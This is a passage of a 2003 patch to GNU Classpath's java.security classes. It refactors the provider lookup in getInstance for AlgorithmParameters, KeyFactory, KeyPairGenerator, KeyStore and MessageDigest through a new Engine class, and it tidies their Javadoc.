algorithm is not implemented by providers + /** + * Returns an instance of AlgorithmParameters for the given algorithm. + * + * @param algorithm the name of algorithm to choose + * @return An AlgorithmParameters for the given algorithm + * @throws NoSuchAlgorithmException If no provider implements algorithm + * parameters for the given algorithm or if no implementation + * can be instantiated. */ public static AlgorithmParameters getInstance(String algorithm) throws NoSuchAlgorithmException { Provider[] p = Security.getProviders(); - for (int i = 0; i < p.length; i++) - { - String classname = - p[i].getProperty("AlgorithmParameters." + algorithm); - if (classname != null) - return getInstance(classname, algorithm, p[i]); - } + for (int i = 0; i < p.length; i++) { + try { + return getInstance(algorithm, p[i]); + } catch (NoSuchAlgorithmException ignored) { } + } throw new NoSuchAlgorithmException(algorithm); } - /** - Gets an instance of the AlgorithmParameters class representing - the specified algorithm parameters from the specified provider. - If the algorithm is not found then, it throws - NoSuchAlgorithmException. If the provider is not found, then - it throws NoSuchProviderException. - - The returned AlgorithmParameters must still be intialized with - init(). - - @param algorithm the name of algorithm to choose - @param provider the name of the provider to find the algorithm in - @return a AlgorithmParameters repesenting the desired algorithm - - @throws NoSuchAlgorithmException if the algorithm is not implemented by the provider - @throws NoSuchProviderException if the provider is not found + /** + * Returns an instance of AlgorithmParameters for the given algorithm + * from the named provider. + * + * @param algorithm the name of algorithm to choose + * @param provider the name of the provider to find the algorithm in + * @return a AlgorithmParameters repesenting the desired algorithm + * @throws NoSuchAlgorithmException if the algorithm is not implemented by + * the provider, or if the implementation cannot be instantiated. + * @throws NoSuchProviderException If no provider named provider + * is installed. + * @throws IllegalArgumentException If provider is null + * or is empty. */ - public static AlgorithmParameters getInstance(String algorithm, - String provider) throws - NoSuchAlgorithmException, NoSuchProviderException + public static AlgorithmParameters + getInstance(String algorithm, String provider) + throws NoSuchAlgorithmException, NoSuchProviderException { + if (provider == null || provider.length() == 0) + throw new IllegalArgumentException("Illegal provider"); Provider p = Security.getProvider(provider); if (p == null) throw new NoSuchProviderException(); - return getInstance(p.getProperty("AlgorithmParameters." + algorithm), - algorithm, p); + return getInstance(algorithm, p); } - private static AlgorithmParameters getInstance(String classname, - String algorithm, - Provider provider) - throws NoSuchAlgorithmException + /** + * Returns an instance of AlgorithmParameters for the given algorithm + * from the specified provider. + * + * @param algorithm the name of algorithm to choose + * @param provider the name of the provider to find the algorithm in + * @return a AlgorithmParameters repesenting the desired algorithm + * @throws NoSuchAlgorithmException if the algorithm is not implemented by + * the provider, or if the implementation cannot be instantiated. + * @throws IllegalArgumentException If provider is null. + */ + public static AlgorithmParameters + getInstance(String algorithm, Provider provider) + throws NoSuchAlgorithmException { + if (provider == null) + throw new IllegalArgumentException("Illegal provider"); + try { + return new AlgorithmParameters((AlgorithmParametersSpi) + Engine.getInstance(ALGORITHM_PARAMETERS, algorithm, provider), + provider, algorithm); + } catch (ClassCastException cce) { + throw new NoSuchAlgorithmException(algorithm); + } + } + + // Instnace methods. + // ------------------------------------------------------------------------ - try - { - return new AlgorithmParameters((AlgorithmParametersSpi) Class. - forName(classname).newInstance(), - provider, algorithm); - } - catch (ClassNotFoundException cnfe) - { - throw new NoSuchAlgorithmException("Class not found"); - } - catch (InstantiationException ie) - { - throw new NoSuchAlgorithmException("Class instantiation failed"); - } - catch (IllegalAccessException iae) - { - throw new NoSuchAlgorithmException("Illegal Access"); - } + /** + Returns the name of the algorithm used + + @return A string with the name of the algorithm + */ + public final String getAlgorithm() + { + return algorithm; } /** Index: libjava/java/security/Engine.java =================================================================== RCS file: libjava/java/security/Engine.java diff -N libjava/java/security/Engine.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ libjava/java/security/Engine.java 17 Jan 2003 15:56:25 -0000 @@ -0,0 +1,140 @@ +/* Engine -- generic getInstance method. + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package java.security; + +/** + * Generic implementation of the getInstance methods in the various + * engine classes in java.security. + *

+ * These classes ({@link java.security.Signature} for example) can be + * thought of as the "chrome, upholstery, and steering wheel", and the SPI + * (service provider interface, e.g. {@link java.security.SignatureSpi}) + * classes can be thought of as the "engine" -- providing the actual + * functionality of whatever cryptographic algorithm the instance + * represents. + * + * @see Provider + * @author Casey Marshall + */ +final class Engine { + + // Constants. + // ------------------------------------------------------------------------ + + /** Prefix for aliases. */ + private static final String ALG_ALIAS = "Alg.Alias."; + + /** Maximum number of aliases to try. */ + private static final int MAX_ALIASES = 5; + + // Constructors. + // ------------------------------------------------------------------------ + + /** This class cannot be instantiated. */ + private Engine() { } + + // Class methods. + // ------------------------------------------------------------------------ + + /** + * Get the implementation for algorithm for service + * service from provider. The service is e.g. + * "Signature", and the algorithm "DSA". + * + * @param service The service name. + * @param algorithm The name of the algorithm to get. + * @param provider The provider to get the implementation from. + * @return The engine class for the specified algorithm; the object + * returned is typically a subclass of the SPI class for that + * service, but callers should check that this is so. + * @throws NoSuchAlgorithmException If the implementation cannot be + * found or cannot be instantiated. + * @throws IllegalArgumentException If any of the three arguments are null. + */ + static Object + getInstance(String service, String algorithm, Provider provider) + throws NoSuchAlgorithmException + { + if (service == null || algorithm == null || provider == null) + throw new IllegalArgumentException(); + + // If there is no property "service.algorithm" + if (provider.getProperty(service + "." + algorithm) == null) { + // Iterate through aliases, until we find the class name or resolve + // too many aliases. + String alias = null; + int count = 0; + while ((alias = provider.getProperty( + ALG_ALIAS + service + "." + algorithm)) != null) + { + if (algorithm.equals(alias)) // Refers to itself! + break; + algorithm = alias; + if (count++ > MAX_ALIASES) + throw new NoSuchAlgorithmException("too many aliases"); + } + if (provider.getProperty(service + "." + algorithm) == null) + throw new NoSuchAlgorithmException(algorithm); + } + + // Find and instantiate the implementation. + Class clazz = null; + ClassLoader loader = provider.getClass().getClassLoader(); + String error = algorithm; + try { + if (loader != null) { + clazz = loader.loadClass(provider.getProperty(service + "." + algorithm)); + } else { + clazz = Class.forName(provider.getProperty(service + "." + algorithm)); + } + return clazz.newInstance(); + } catch (ClassNotFoundException cnfe) { + error = "class not found: " + algorithm; + } catch (IllegalAccessException iae) { + error = "illegal access: " + iae.getMessage(); + } catch (InstantiationException ie) { + error = "instantiation exception: " + ie.getMessage(); + } catch (ExceptionInInitializerError eiie) { + error = "exception in initializer: " + eiie.getMessage(); + } catch (SecurityException se) { + error = "security exception: " + se.getMessage(); + } + + throw new NoSuchAlgorithmException(error); + } +} Index: libjava/java/security/KeyFactory.java =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/java/security/KeyFactory.java,v retrieving revision 1.2 diff -u -r1.2 KeyFactory.java --- libjava/java/security/KeyFactory.java 22 Jan 2002 22:40:30 -0000 1.2 +++ libjava/java/security/KeyFactory.java 17 Jan 2003 15:56:25 -0000 @@ -1,5 +1,5 @@ /* KeyFactory.java --- Key Factory Class - Copyright (C) 1999 Free Software Foundation, Inc. + Copyright (C) 1999, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -36,31 +36,42 @@ exception statement from your version. */ package java.security; + import java.security.spec.KeySpec; import java.security.spec.InvalidKeySpecException; /** - Key factories are used to convert keys (opaque cryptographic - keys of type Key) into key specifications (transparent - representations of the underlying key material). - - Key factories are bi-directional. They allow a key class - to be converted into a key specification (key material) and - back again. - - For example DSA public keys can be specified as - DSAPublicKeySpec or X509EncodedKeySpec. The key factory - translate these key specifications. - - @since JDK 1.2 - @author Mark Benvenuto + * Key factories are used to convert keys (opaque cryptographic keys of + * type {@link Key}) to and from key specifications (transparent + * representations of the underlying key material), and to translate + * keys into vendor-specific types. + * + *

For example, DSA public keys can be specified as {@link + * java.security.spec.DSAPublicKeySpec} or {@link + * java.security.spec.X509EncodedKeySpec}, and DSA key factories can + * translate these key specifications into instances of {@link + * java.security.interfaces.DSAKey}. + * + * @since JDK 1.2 + * @author Mark Benvenuto + * @author Casey Marshall */ public class KeyFactory { + + // Constants and fields. + // ------------------------------------------------------------------------ + + /** The service name for key factories. */ + private static final String KEY_FACTORY = "KeyFactory"; + private KeyFactorySpi keyFacSpi; private Provider provider; private String algorithm; + // Constructors. + // ------------------------------------------------------------------------ + /** Constructs a new keyFactory with the specified parameters. @@ -76,15 +87,16 @@ this.algorithm = algorithm; } - /** - Gets an instance of the KeyFactory class representing - the specified key factory. If the algorithm is not - found then, it throws NoSuchAlgorithmException. + // Class methods. + // ------------------------------------------------------------------------ - @param algorithm the name of algorithm to choose - @return a KeyFactory repesenting the desired algorithm - - @throws NoSuchAlgorithmException if the algorithm is not implemented by providers + /** + * Get a key factory from the first provider that implements it. + * + * @param algorithm the name of algorithm to choose + * @return a KeyFactory repesenting the desired algorithm + * @throws NoSuchAlgorithmException If the algorithm is not implemented + * by providers or if the implementation cannot be instantiated. */ public static KeyFactory getInstance(String algorithm) throws NoSuchAlgorithmException @@ -93,63 +105,65 @@ for (int i = 0; i < p.length; i++) { - String classname = p[i].getProperty("KeyFactory." + algorithm); - if (classname != null) - return getInstance(classname, algorithm, p[i]); + try { + return getInstance(algorithm, p[i]); + } catch (NoSuchAlgorithmException ignore) { } } throw new NoSuchAlgorithmException(algorithm); } - /** - Gets an instance of the KeyFactory class representing - the specified key factory from the specified provider. - If the algorithm is not found then, it throws - NoSuchAlgorithmException. If the provider is not found, then - it throws NoSuchProviderException. - - @param algorithm the name of algorithm to choose - @param provider the name of the provider to find the algorithm in - @return a KeyFactory repesenting the desired algorithm - - @throws NoSuchAlgorithmException if the algorithm is not implemented by the provider - @throws NoSuchProviderException if the provider is not found + /** + * Get a key factory from a named provider. + * + * @param algorithm The name of the algorithm. + * @param provider The name of the provider. + * @return a KeyFactory for the desired algorithm + * @throws NoSuchAlgorithmException If the algorithm is not implemented + * by the provider or if the implementation cannot be instantiated. + * @throws NoSuchProviderException If the provider is not found. + * @throws IllegalArgumentException If provider is null or + * is empty. */ public static KeyFactory getInstance(String algorithm, String provider) throws NoSuchAlgorithmException, NoSuchProviderException { + if (provider == null || provider.length() == 0) + throw new IllegalArgumentException("Illegal provider"); Provider p = Security.getProvider(provider); if (p == null) throw new NoSuchProviderException(); - return getInstance(p.getProperty("KeyFactory." + algorithm), - algorithm, p); + return getInstance(algorithm, p); } - private static KeyFactory getInstance(String classname, - String algorithm, - Provider provider) - throws NoSuchAlgorithmException + /** + * Get a key factory from the specified provider. + * + * @param algorithm The name of the algorithm. + * @param provider The provider to get the implementation from. + * @return A key factory for the given algorithm. + * @throws NoSuchAlgorithmException If the provider does not implement + * the given algorithm, or if the implementation cannot be + * instantiated. + * @throws IllegalArgumentException If provider is null. + */ + public static KeyFactory getInstance(String algorithm, Provider provider) + throws NoSuchAlgorithmException { - - try - { - return new KeyFactory((KeyFactorySpi) Class.forName(classname). - newInstance(), provider, algorithm); - } - catch (ClassNotFoundException cnfe) - { - throw new NoSuchAlgorithmException("Class not found"); - } - catch (InstantiationException ie) - { - throw new NoSuchAlgorithmException("Class instantiation failed"); - } - catch (IllegalAccessException iae) - { - throw new NoSuchAlgorithmException("Illegal Access"); - } + if (provider == null) + throw new IllegalArgumentException("Illegal provider"); + try { + return new KeyFactory((KeyFactorySpi) + Engine.getInstance(KEY_FACTORY, algorithm, provider), + provider, algorithm); + } catch (ClassCastException cce) { + throw new NoSuchAlgorithmException(algorithm); + } } + + // Instance methods. + // ------------------------------------------------------------------------ /** Gets the provider that the class is from. Index: libjava/java/security/KeyPairGenerator.java =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/java/security/KeyPairGenerator.java,v retrieving revision 1.4 diff -u -r1.4 KeyPairGenerator.java --- libjava/java/security/KeyPairGenerator.java 17 Nov 2002 00:10:24 -0000 1.4 +++ libjava/java/security/KeyPairGenerator.java 17 Jan 2003 15:56:29 -0000 @@ -1,5 +1,5 @@ /* KeyPairGenerator.java --- Key Pair Generator Class - Copyright (C) 1999, 2002 Free Software Foundation, Inc. + Copyright (C) 1999, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -40,25 +40,34 @@ import java.security.spec.AlgorithmParameterSpec; /** - KeyPairGenerator is the class used to generate key pairs - for a security algorithm. - - The KeyPairGenerator is created with the getInstance() - methods. The class is used to generate public and private - keys for an algorithm and associate it with - algorithm parameters. - - @author Mark Benvenuto + * An interface to a key pair generator. Key pairs are used in various + * public-key cryptographic algorithms, such as digital signing, + * key agreement, and asymmetric cryptography. + * + * @see Signature + * @see KeyPair + * @author Mark Benvenuto + * @author Casey Marshall */ public abstract class KeyPairGenerator extends KeyPairGeneratorSpi { + + // Constants and fields. + // ------------------------------------------------------------------------ + + /** The service name for key pair generators. */ + private static final String KEY_PAIR_GENERATOR = "KeyPairGenerator"; + Provider provider; private String algorithm; - /** - Constructs a new KeyPairGenerator + // Constructors. + // ------------------------------------------------------------------------ - @param algorithm the algorithm to use + /** + * Constructs a new KeyPairGenerator + * + * @param algorithm the algorithm to use */ protected KeyPairGenerator(String algorithm) { @@ -66,60 +75,52 @@ this.provider = null; } - /** - Returns the name of the algorithm used - - @return A string with the name of the algorithm - */ - public String getAlgorithm() - { - return algorithm; - } - - /** - Gets an instance of the KeyPairGenerator class - which generates key pairs for the specified algorithm. - If the algorithm is not found then, it throws NoSuchAlgorithmException. - - @param algorithm the name of algorithm to choose - @return a AlgorithmParameterGenerator repesenting the desired algorithm + // Class methods. + // ------------------------------------------------------------------------ - @throws NoSuchAlgorithmException if the algorithm is not implemented by - providers + /** + * Get a key pair generator for the specified algorithm from the first + * provider that implements it. + * + * @param algorithm the name of algorithm to choose + * @return a AlgorithmParameterGenerator repesenting the desired algorithm + * @throws NoSuchAlgorithmException if the algorithm is not implemented by + * any installed provider or if no implementation can be + * instantiated. */ - public static KeyPairGenerator getInstance(String algorithm) throws - NoSuchAlgorithmException + public static KeyPairGenerator getInstance(String algorithm) + throws NoSuchAlgorithmException { Provider[] p = Security.getProviders(); - for (int i = 0; i < p.length; i++) - { - try - { - return getInstance(algorithm, p[i]); - } - catch (NoSuchAlgorithmException ignored) {} - } + for (int i = 0; i < p.length; i++) { + try { + return getInstance(algorithm, p[i]); + } catch (NoSuchAlgorithmException ignored) { } + } throw new NoSuchAlgorithmException(algorithm); } - /** - Gets an instance of the KeyPairGenerator class - which generates key pairs for the specified algorithm. - If the algorithm is not found then, it throws NoSuchAlgorithmException. - - @param algorithm the name of algorithm to choose - @param provider the name of the provider to find the algorithm in - @return a AlgorithmParameterGenerator repesenting the desired algorithm - - @throws NoSuchAlgorithmException if the algorithm is not implemented by - the provider - @throws NoSuchProviderException if the provider is not found + /** + * Get a key pair generator for the specified algorithm from the named + * provider. + * + * @param algorithm The name of the algorithm. + * @param provider The name of the provider. + * @return A KeyPairGenerator for the desired algorithm. + * @throws NoSuchAlgorithmException If the algorithm is not implemented by + * the provider or if the implementation cannot be instantiated. + * @throws NoSuchProviderException If no provider named + * provider is installed. + * @throws IllegalArgumentException If provider is null + * or is empty. */ public static KeyPairGenerator getInstance(String algorithm, String provider) - throws NoSuchAlgorithmException, NoSuchProviderException + throws NoSuchAlgorithmException, NoSuchProviderException { + if (provider == null || provider.length() == 0) + throw new IllegalArgumentException("Illegal provider"); Provider p = Security.getProvider(provider); if (p == null) throw new NoSuchProviderException(provider); @@ -127,63 +128,48 @@ return getInstance(algorithm, p); } - private static KeyPairGenerator getInstance(String algorithm, Provider p) - throws NoSuchAlgorithmException - { - // try the name as is - String className = p.getProperty("KeyPairGenerator." + algorithm); - if (className == null) { // try all uppercase - String upper = algorithm.toUpperCase(); - className = p.getProperty("KeyPairGenerator." + upper); - if (className == null) { // try if it's an alias - String alias = p.getProperty("Alg.Alias.KeyPairGenerator." + algorithm); - if (alias == null) { // try all-uppercase alias name - alias = p.getProperty("Alg.Alias.KeyPairGenerator." + upper); - if (alias == null) { // spit the dummy - throw new NoSuchAlgorithmException(algorithm); - } - } - className = p.getProperty("KeyPairGenerator." + alias); - if (className == null) { - throw new NoSuchAlgorithmException(algorithm); - } - } + /** + * Get a key pair generator for the specified algorithm from the given + * provider. + * + * @param algorithm The name of the algorithm. + * @param provider The provider. + * @return A KeyPairGenerator for the desired algorithm. + * @throws NoSuchAlgorithmException If the algorithm is not implemented by + * the provider or if the implementation cannot be instantiated. + * @throws IllegalArgumentException If provider is null. + * @since 1.4 + */ + public static KeyPairGenerator + getInstance(String algorithm, Provider provider) + throws NoSuchAlgorithmException + { + if (provider == null) + throw new IllegalArgumentException("Illegal provider"); + + Object o = Engine.getInstance(KEY_PAIR_GENERATOR, algorithm, provider); + KeyPairGenerator result = null; + if (o instanceof KeyPairGeneratorSpi) { + result = new DummyKeyPairGenerator((KeyPairGeneratorSpi) o, algorithm); + } else if (o instanceof KeyPairGenerator) { + result = (KeyPairGenerator) o; + result.algorithm = algorithm; } - return getInstance(className, algorithm, p); + result.provider = provider; + return result; } - private static KeyPairGenerator getInstance(String classname, - String algorithm, - Provider provider) - throws NoSuchAlgorithmException + // Instance methods. + // ------------------------------------------------------------------------ + + /** + Returns the name of the algorithm used + + @return A string with the name of the algorithm + */ + public String getAlgorithm() { - try - { - Object o = Class.forName(classname).newInstance(); - KeyPairGenerator kpg; - if (o instanceof KeyPairGeneratorSpi) - kpg = new DummyKeyPairGenerator((KeyPairGeneratorSpi) o, algorithm); - else - { - kpg = (KeyPairGenerator) o; - kpg.algorithm = algorithm; - } - - kpg.provider = provider; - return kpg; - } - catch (ClassNotFoundException cnfe) - { - throw new NoSuchAlgorithmException("Class not found"); - } - catch (InstantiationException ie) - { - throw new NoSuchAlgorithmException("Class instantiation failed"); - } - catch (IllegalAccessException iae) - { - throw new NoSuchAlgorithmException("Illegal Access"); - } + return algorithm; } /** Index: libjava/java/security/KeyStore.java =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/java/security/KeyStore.java,v retrieving revision 1.3 diff -u -r1.3 KeyStore.java --- libjava/java/security/KeyStore.java 18 Nov 2002 18:09:35 -0000 1.3 +++ libjava/java/security/KeyStore.java 17 Jan 2003 15:56:29 -0000 @@ -1,5 +1,5 @@ /* KeyStore.java --- Key Store Class - Copyright (C) 1999, 2002 Free Software Foundation, Inc. + Copyright (C) 1999, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -44,37 +44,52 @@ import java.util.Enumeration; /** - Keystore represents an in-memory collection of keys and - certificates. There are two types of entries: - - * Key Entry - - This type of keystore entry store sensitive crytographic key - information in a protected format.Typically this is a secret - key or a private key with a certificate chain. - - - * Trusted Ceritificate Entry - - This type of keystore entry contains a single public key - certificate belonging to annother entity. It is called trusted - because the keystore owner trusts that the certificates - belongs to the subject (owner) of the certificate. - - The keystore contains an "alias" string for each entry. - - The structure and persistentence of the key store is not - specified. Any method could be used to protect sensitive - (private or secret) keys. Smart cards or integrated - cryptographic engines could be used or the keystore could - be simply stored in a file. + * Keystore represents an in-memory collection of keys and + * certificates. There are two types of entries: + * + *

+ *
Key Entry
+ * + *

This type of keystore entry store sensitive crytographic key + * information in a protected format.Typically this is a secret + * key or a private key with a certificate chain.

+ * + *
Trusted Ceritificate Entry
+ * + *

This type of keystore entry contains a single public key + * certificate belonging to annother entity. It is called trusted + * because the keystore owner trusts that the certificates + * belongs to the subject (owner) of the certificate.

+ *
+ * + *

Entries in a key store are referred to by their "alias": a simple + * unique string. + * + *

The structure and persistentence of the key store is not + * specified. Any method could be used to protect sensitive + * (private or secret) keys. Smart cards or integrated + * cryptographic engines could be used or the keystore could + * be simply stored in a file.

+ * + * @see java.security.cert.Certificate + * @see Key */ public class KeyStore { + + // Constants and fields. + // ------------------------------------------------------------------------ + + /** Service name for key stores. */ + private static final String KEY_STORE = "KeyStore"; + private KeyStoreSpi keyStoreSpi; private Provider provider; private String type; + // Constructors. + // ------------------------------------------------------------------------ + /** Creates an instance of KeyStore @@ -89,48 +104,47 @@ this.type = type; } - /** - Gets an instance of the KeyStore class representing - the specified keystore. If the type is not - found then, it throws KeyStoreException. - - @param type the type of keystore to choose - - @return a KeyStore repesenting the desired type + // Class methods. + // ------------------------------------------------------------------------ - @throws KeyStoreException if the type of keystore is not implemented by providers + /** + * Gets an instance of the KeyStore class representing + * the specified keystore. If the type is not + * found then, it throws KeyStoreException. + * + * @param type the type of keystore to choose + * @return a KeyStore repesenting the desired type + * @throws KeyStoreException if the type of keystore is not implemented + * by providers or the implementation cannot be instantiated. */ public static KeyStore getInstance(String type) throws KeyStoreException { Provider[] p = Security.getProviders(); - for (int i = 0; i < p.length; i++) - { - String classname = p[i].getProperty("KeyStore." + type); - if (classname != null) - return getInstance(classname, type, p[i]); - } + for (int i = 0; i < p.length; i++) { + try { + return getInstance(type, p[i]); + } catch (KeyStoreException ignore) { } + } throw new KeyStoreException(type); } /** - Gets an instance of the KeyStore class representing - the specified key store from the specified provider. - If the type is not found then, it throws KeyStoreException. - If the provider is not found, then it throws - NoSuchProviderException. - - @param type the type of keystore to choose - @param provider the provider name - - @return a KeyStore repesenting the desired type - - @throws KeyStoreException if the type of keystore is not - implemented by the given provider - @throws NoSuchProviderException if the provider is not found - @throws IllegalArgumentException if the provider string is - null or empty + * Gets an instance of the KeyStore class representing + * the specified key store from the specified provider. + * If the type is not found then, it throws KeyStoreException. + * If the provider is not found, then it throws + * NoSuchProviderException. + * + * @param type the type of keystore to choose + * @param provider the provider name + * @return a KeyStore repesenting the desired type + * @throws KeyStoreException if the type of keystore is not + * implemented by the given provider + * @throws NoSuchProviderException if the provider is not found + * @throws IllegalArgumentException if the provider string is + * null or empty */ public static KeyStore getInstance(String type, String provider) throws KeyStoreException, NoSuchProviderException @@ -141,60 +155,59 @@ if (p == null) throw new NoSuchProviderException(); - return getInstance(p.getProperty("KeyStore." + type), type, p); + return getInstance(type, p); } /** - Gets an instance of the KeyStore class representing - the specified key store from the specified provider. - If the type is not found then, it throws KeyStoreException. - If the provider is not found, then it throws - NoSuchProviderException. - - @param type the type of keystore to choose - @param provider the keystore provider - - @return a KeyStore repesenting the desired type - - @throws KeyStoreException if the type of keystore is not - implemented by the given provider - @throws IllegalArgumentException if the provider object is null - @since 1.4 + * Gets an instance of the KeyStore class representing + * the specified key store from the specified provider. + * If the type is not found then, it throws KeyStoreException. + * If the provider is not found, then it throws + * NoSuchProviderException. + * + * @param type the type of keystore to choose + * @param provider the keystore provider + * @return a KeyStore repesenting the desired type + * @throws KeyStoreException if the type of keystore is not + * implemented by the given provider + * @throws IllegalArgumentException if the provider object is null + * @since 1.4 */ public static KeyStore getInstance(String type, Provider provider) throws KeyStoreException { if (provider == null) throw new IllegalArgumentException("Illegal provider"); - - return getInstance(provider.getProperty("KeyStore." + type), - type, provider); + try { + return new KeyStore( + (KeyStoreSpi) Engine.getInstance(KEY_STORE, type, provider), + provider, type); + } catch (NoSuchAlgorithmException nsae) { + throw new KeyStoreException(type); + } catch (ClassCastException cce) { + throw new KeyStoreException(type); + } } - private static KeyStore getInstance(String classname, - String type, - Provider provider) - throws KeyStoreException + /** + * Returns the default KeyStore type. This method looks up the + * type in /lib/security/java.security with the + * property "keystore.type" or if that fails then "jks" . + */ + public static final String getDefaultType() { - try - { - return new KeyStore((KeyStoreSpi) Class.forName(classname). - newInstance(), provider, type); - } - catch (ClassNotFoundException cnfe) - { - throw new KeyStoreException("Class not found"); - } - catch (InstantiationException ie) - { - throw new KeyStoreException("Class instantiation failed"); - } - catch (IllegalAccessException iae) - { - throw new KeyStoreException("Illegal Access"); - } + // Security reads every property in java.security so it + // will return this property if it exists. + String tmp = Security.getProperty("keystore.type"); + + if (tmp == null) + tmp = "jks"; + + return tmp; } + // Instance methods. + // ------------------------------------------------------------------------ /** Gets the provider that the class is from. @@ -471,21 +484,4 @@ keyStoreSpi.engineLoad(stream, password); } - /** - Returns the default KeyStore type. This method looks up the - type in /lib/security/java.security with the - property "keystore.type" or if that fails then "jks" . - */ - public static final String getDefaultType() - { - String tmp; - //Security reads every property in java.security so it - //will return this property if it exists. - tmp = Security.getProperty("keystore.type"); - - if (tmp == null) - tmp = "jks"; - - return tmp; - } } Index: libjava/java/security/MessageDigest.java =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/java/security/MessageDigest.java,v retrieving revision 1.8 diff -u -r1.8 MessageDigest.java --- libjava/java/security/MessageDigest.java 17 Nov 2002 00:10:24 -0000 1.8 +++ libjava/java/security/MessageDigest.java 17 Jan 2003 15:56:29 -0000 @@ -1,6 +1,5 @@ - /* MessageDigest.java --- The message digest interface. - Copyright (C) 1999, 2002 Free Software Foundation, Inc. + Copyright (C) 1999, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -38,17 +37,53 @@ package java.security; +/** + * An interface to message digest algorithms. A message digest + * algorithm takes as input a variable number of bytes and produces a + * fixed-length "fingerprint" of this data, with the property that it is + * computationally infeasible to (a) determine the source data from a + * given message digest, or (b) find two input texts that produce the same + * digest. Message digests are commonly used for ensuring the integrity + * or authenticity of data, and are used at the core of many signature + * and message authentication algorithms. + *

+ * To get an implementation of a message digest, query the {@link + * #getInstance(java.lang.String)} method with the name of the + * algorithm, e.g.: + * + *

+ * MessageDigest md = MessageDigest.getInstance("SHA1"); + *
+ * + *

+ * What algorithms are available depend upon what providers are + * installed and what message digests they implement. + * + * @see MessageDigestSpi + * @see Provider + * @since JDK 1.1 + */ public abstract class MessageDigest extends MessageDigestSpi { + + // Constants and fields. + // ------------------------------------------------------------------------ + + /** The service name for message digests. */ + private static final String MESSAGE_DIGEST = "MessageDigest"; + private String algorithm; Provider provider; private byte[] lastDigest; - /** - Creates a MessageDigest representing the specified - algorithm. + // Constructors. + // ------------------------------------------------------------------------ - @param algorithm the name of digest algorithm to choose + /** + * Creates a MessageDigest representing the specified + * algorithm. + * + * @param algorithm the name of digest algorithm to choose */ protected MessageDigest(String algorithm) { @@ -56,130 +91,98 @@ provider = null; } - /** - Gets an instance of the MessageDigest class representing - the specified digest. If the algorithm is not found then, - it throws NoSuchAlgorithmException. + // Class methods. + // ------------------------------------------------------------------------ - @param algorithm the name of digest algorithm to choose - @return a MessageDigest representing the desired algorithm - - @exception NoSuchAlgorithmException if the algorithm is not implemented by - providers + /** + * Get a message digest from the first provider that implements it. + * + * @param algorithm The name of digest algorithm. + * @return An instance of the desired message digest. + * @throws NoSuchAlgorithmException If the algorithm is not implemented + * by any installed provider. + * @see #getInstance(java.lang.String,java.lang.String) + * @see #getInstance(java.lang.String,java.security.Provider) */ public static MessageDigest getInstance(String algorithm) - throws NoSuchAlgorithmException + throws NoSuchAlgorithmException { Provider[] p = Security.getProviders(); - for (int i = 0; i < p.length; i++) - { - try - { - return getInstance(algorithm, p[i]); - } - catch (NoSuchAlgorithmException ignored) {} - } + for (int i = 0; i < p.length; i++) { + try { + return getInstance(algorithm, p[i]); + } catch (NoSuchAlgorithmException ignored) { } + } throw new NoSuchAlgorithmException(algorithm); } - /** - Gets an instance of the MessageDigest class representing - the specified digest from the specified provider. If the - algorithm is not found then, it throws NoSuchAlgorithmException. - If the provider is not found, then it throws - NoSuchProviderException. - - @param algorithm the name of digest algorithm to choose - @param provider the name of the provider to find the algorithm in - @return a MessageDigest representing the desired algorithm - - @exception NoSuchAlgorithmException if the algorithm is not implemented by - the provider - @exception NoSuchProviderException if the provider is not found + /** + * Get a message digest from a named provider. + * + * @param algorithm The name of digest algorithm. + * @param provider The name of the provider. + * @return An instance of the desired message digest. + * + * @throws NoSuchAlgorithmException if the algorithm is not implemented by + * the provider, or if the implementation cannot be instantiated. + * @throws NoSuchProviderException If no provider named + * provider is currently installed. + * @throws IllegalArgumentException If provider is null + * or is empty. + * @see #getInstance(java.lang.String,java.security.Provider) */ - public static MessageDigest getInstance(String algorithm, String provider) - throws NoSuchAlgorithmException, NoSuchProviderException + throws NoSuchAlgorithmException, NoSuchProviderException { - Provider p = Security.getProvider(provider); + if (provider == null || provider.length() == 0) + throw new IllegalArgumentException("Illegal provider"); + Provider p = Security.getProvider(provider); if (p == null) throw new NoSuchProviderException(provider); return getInstance(algorithm, p); } - private static MessageDigest getInstance(String algorithm, Provider p) - throws NoSuchAlgorithmException - { - // try the name as is - String className = p.getProperty("MessageDigest." + algorithm); - if (className == null) { // try all uppercase - String upper = algorithm.toUpperCase(); - className = p.getProperty("MessageDigest." + upper); - if (className == null) { // try if it's an alias - String alias = p.getProperty("Alg.Alias.MessageDigest." +algorithm); - if (alias == null) { // try all-uppercase alias name - alias = p.getProperty("Alg.Alias.MessageDigest." +upper); - if (alias == null) { // spit the dummy - throw new NoSuchAlgorithmException(algorithm); - } - } - className = p.getProperty("MessageDigest." + alias); - if (className == null) { - throw new NoSuchAlgorithmException(algorithm); - } - } - } - return getInstance(className, algorithm, p); - } - - private static MessageDigest getInstance(String classname, - String algorithm, - Provider provider) + /** + * Gets an implementation of the specified message digest algorithm + * from the specified provider. + * + * @param algorithm The message digest algorithm's name. + * @param provider The provider from which to get the implementation. + * @throws 